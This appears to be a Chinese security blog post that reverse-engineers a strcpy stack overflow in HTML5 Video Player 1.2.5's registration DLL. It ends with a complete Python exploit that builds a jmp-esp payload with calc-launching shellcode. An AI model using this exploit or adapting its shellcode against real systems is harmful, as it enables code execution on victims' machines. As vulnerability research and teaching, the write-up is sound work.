放假前最后一天看到 exploit-db 上出了一个 HTML5 Video Player 的缓冲区溢出的 exploit,版本是 1.2.5,(无心工作)就分析了一下这个漏洞,是一个比较简单的栈溢出漏洞,简单记录一下。

app & exp

因为最近在练习 windows 平台挖洞和写 exploit 的能力,因此就只看了 PoC 的说明部分:

1
2
3
4
5
# PoC:
# 1.) Generate exploit.txt, copy the contents to clipboard
# 2.) In application, open 'Help' then 'Register'
# 3.) Paste the contents of exploit.txt under 'KEY CODE'
# 4.) Click OK - Calc POPS!

看起来溢出发生在注册时,先安装软件,查壳。

.NET 架构,搜了一下发现 C# 难以出现 溢出漏洞,因此猜测溢出发生在 dll 中。

使用 dnspy 打开文件,通过搜索注册时的字符串 Key Code 定位到关键的代码在 HTML5VideoPlayer.RegisterDialog.okButton_Click()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
		// Token: 0x060000ED RID: 237 RVA: 0x00007A60 File Offset: 0x00005C60
		private void okButton_Click(object sender, EventArgs e)
		{
			string keyName = this.userNameTextBox.Text.Trim();
			string keyCode = this.keyCodeTextBox.Text.Trim();
			if (CallKeyCodeDLL.isRegisterVersion(keyName, keyCode))
			{
				CallKeyCodeDLL.keyName = keyName;
				CallKeyCodeDLL.keyCode = keyCode;
				CallKeyCodeDLL.gIsRegisterCache = true;
				MessageBox.Show("Thank you for your support to us. You have registered this program successfully. All trial limitation has been removed.");
				base.Close();
				return;
			}
			MessageBox.Show("Sorry, the user name and key code is not valid!");
		}

Key Code 栏中输入一串超长的字符串,然后点 OK 注册,发现程序直接 crash,既没有注册成功的弹窗,也没有注册失败的弹窗,说明溢出发生在 CallKeyCodeDLL.isRegisterVersion() 中。查看该函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
		// Token: 0x06000246 RID: 582 RVA: 0x00011428 File Offset: 0x0000F628
		public static bool isRegisterVersion(string userName, string keyCode)
		{
			CallKeyCodeDLL.makeSureEngineInit();
			int num = CallKeyCodeDLL.funcDLLVerifyKeyCode(userName, keyCode);
			return num > 0;
		}

		// Token: 0x06000245 RID: 581 RVA: 0x00011413 File Offset: 0x0000F613
		private static void makeSureEngineInit()
		{
			CallKeyCodeDLL.funcDLLInitEngine(8, "SocuJHTY_HTML5VIDEOPLAYER_WIN");
			CallKeyCodeDLL._alreadyInitKeyCodeEngine = true;
		}

该函数又调用了makeSureEngineInit()funcDLLVerifyKeyCode() 两个函数,其中 CallKeyCodeDLL.funcDLLVerifyKeyCode() 传递了输入的 userNamekeyCode,从函数名字来看,溢出就发生在这里了。

查看该函数的定义,是 KeyCodeDLL.dll 中的导出函数,溢出应该就发生在这个函数中了。

1
2
3
		// Token: 0x06000244 RID: 580
		[DllImport("KeyCodeDLL.dll", CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Ansi, EntryPoint = "#1")]
		private static extern int funcDLLVerifyKeyCode(string strUserName, string strKeyCode);

通过调试验证了猜想。

继续 step over,程序 crash。

使用 IDA 打开 KeyCodeDll.dll 寻找funcDLLVerifyKeyCode() 函数,但尴尬的是 dll 被去除了符号表,使用 IDA 看不出函数名,乱翻了几个函数后思考了一下,虽然 dll 没有符号表,但还是能看出导出函数的,于是直接拿 ollydbg 加载程序,查看 KeyCodeDll.dll 的导出函数。

发现只有两个导出函数不确定,应该就是 makeSureEngineInit()funcDLLVerifyKeyCode() 了。分别对两个函数下断点,根据参数调试发现 0x43010D0 是要找的函数。

在 IDA 中查看该函数,发现又调用了另一个函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
int __cdecl funcDLLVerifyKeyCode(char *a1, char *a2)
{
  int result; // eax

  if ( dword_10004010 )
    result = vul((_DWORD *)dword_10004010, a1, a2, 1);// vulnerability
  else
    result = 0;
  return result;
}

继续查看

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
int __thiscall vul(_DWORD *this, const char *username, const char *keycode, int a4)
{
  _DWORD *v4; // ebp
  int v5; // eax
  char *v7; // [esp+10h] [ebp-4F4h]
  char *v8; // [esp+14h] [ebp-4F0h]
  char *v9; // [esp+18h] [ebp-4ECh]
  int v10; // [esp+1Ch] [ebp-4E8h]
  char v11[256]; // [esp+20h] [ebp-4E4h]
  char v12[256]; // [esp+120h] [ebp-3E4h]
  __int16 v13; // [esp+220h] [ebp-2E4h]
  char v14; // [esp+224h] [ebp-2E0h]
  int v15; // [esp+2CCh] [ebp-238h]
  char v16[4]; // [esp+2D4h] [ebp-230h]
  char v17[4]; // [esp+2D8h] [ebp-22Ch]
  char v18; // [esp+2DCh] [ebp-228h]
  int v19; // [esp+384h] [ebp-180h]
  char v20; // [esp+390h] [ebp-174h]
  char v21; // [esp+394h] [ebp-170h]
  int v22; // [esp+43Ch] [ebp-C8h]
  char v23; // [esp+448h] [ebp-BCh]
  char v24; // [esp+44Ch] [ebp-B8h]
  int v25; // [esp+4F4h] [ebp-10h]
  char v26; // [esp+500h] [ebp-4h]

  v4 = this;
  this[68] = 0;
  strcpy(v11, username);                        // overflow
  strcpy(v12, keycode);                         // overflow
  v7 = v11;
  v17[0] = 0;
  v13 = -(a4 != 0);
  v9 = &v14;
  v20 = 0;
  v23 = 0;
  v26 = 0;
  v8 = v12;
  sub_10001310(&v7);
  v9 = &v18;
  sub_10001460(&v7);
  v9 = &v21;
  sub_100015B0((int)&v7);
  v9 = &v24;
  sub_10001710(&v7);
  if ( dword_10004018 )
    dword_10004018(v4, v11);
  if ( (unsigned __int8)v15 + 1 == (unsigned __int8)v19
    && (unsigned __int8)v15 + 2 == (unsigned __int8)v22
    && (unsigned __int8)v15 + 3 == (unsigned __int8)v25 )
  {
    LOBYTE(v10) = (unsigned __int8)v15 % 4;
    v5 = 184 * (unsigned __int8)v10;
    if ( v17[v5] )
    {
      if ( *(_DWORD *)&v16[v5] == 426969350 )
        v4[68] = 1;
    }
  }
  return v4[68];
}

分析到这,就很容易发现漏洞原因了,strcpy() 未检测长度造成了栈溢出

1
2
3
4
5
6
7
......
  char v11[256]; // [esp+20h] [ebp-4E4h]
  char v12[256]; // [esp+120h] [ebp-3E4h]
......
......
  strcpy(v11, username);                        // overflow
  strcpy(v12, keycode);                         // overflow

并且发现除了 exploit-db 上指明的 KeyCode 可以造成溢出外,UserName 同样也可以造成溢出。

分析了一下函数逻辑后,发现 v12 这个变量在拷贝完 keycode 后就没有再使用过,因此使用这个变量溢出更方便。

查看汇编,发现该函数使用 esp 寻址,因此就不能确定覆盖返回地址所需的长度是 0x3E4 + 0x4 = 1000 了,但大致也在这个附近,使用 msf 的 pattern 功能,经过调试发现覆盖返回地址需要 996 个字节的字符串。又观察了 vul() 函数后发现函数最后的 Epilogue 不是 ret 而是 retn 0Ch,因此除了覆盖函数返回地址还需要再填充 12 位无用字符。

测试的环境是 windows xp sp3,既没有 ASLR 也没有 DEP,因此可以构造如下的栈结构

1
2
3
4
5
6
7
padding(996)
---------------
jmp_esp address
---------------
padding(12)
---------------
shellcode

windows 中经常使用 jmp esp + shellcode 的方法,第一次是在 Jarvis OJBackDoor 这道 题目 中见到了这种技巧。

写了一段弹计算器的 shellcode,需要注意不能出现截断 strcpy() 的字符

1
2
3
4
5
6
7
shellcode =  "\x31\xC9"				# xor ecx, ecx         
shellcode += "\x51"                 # push ecx  
shellcode += "\x68\x63\x61\x6C\x63" # push 0x63616c63 (push calc)  
shellcode += "\x54"                 # push dword ptr esp  
shellcode += "\xBA\xC7\x93\xbf\x77" # mov edx, 0x77bf93c7 (mov edx, system)
shellcode += "\xFF\xD2";            # call edx  
shellcode += "\x90" * 2				# suffix

完整的 exploit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
import struct

p32 = lambda x: struct.pack('<I', x)

jesp = 0x7d711020					# shell32.dll

shellcode =  "\x31\xC9"      		# xor ecx, ecx         
shellcode += "\x51"                 # push ecx  
shellcode += "\x68\x63\x61\x6C\x63" # push 0x63616c63 (push calc)  
shellcode += "\x54"                 # push dword ptr esp  
shellcode += "\xBA\xC7\x93\xbf\x77" # mov edx, 0x77bf93c7 (mov edx, system)
shellcode += "\xFF\xD2";            # call edx  
shellcode += "\x90" * 2 			# suffix
    
payload = 'A' * 996 + p32(jesp) + "aaaabbbbcccc" + shellcode

# print(payload)
with open("exploit.txt", "wb") as f:
    f.write(payload)

使用方法是把 exploit.txt 中的内容复制到 Help -> Register - Key Code 中,然后点击 OK

效果图:

Question:

  • 直接用长字符串触发 crash,使用 ollydbg 查看调用堆栈,看不到 dll 中的函数,不知是环境问题还是操作有问题

Todo:

  • 分析如何绕过注册机制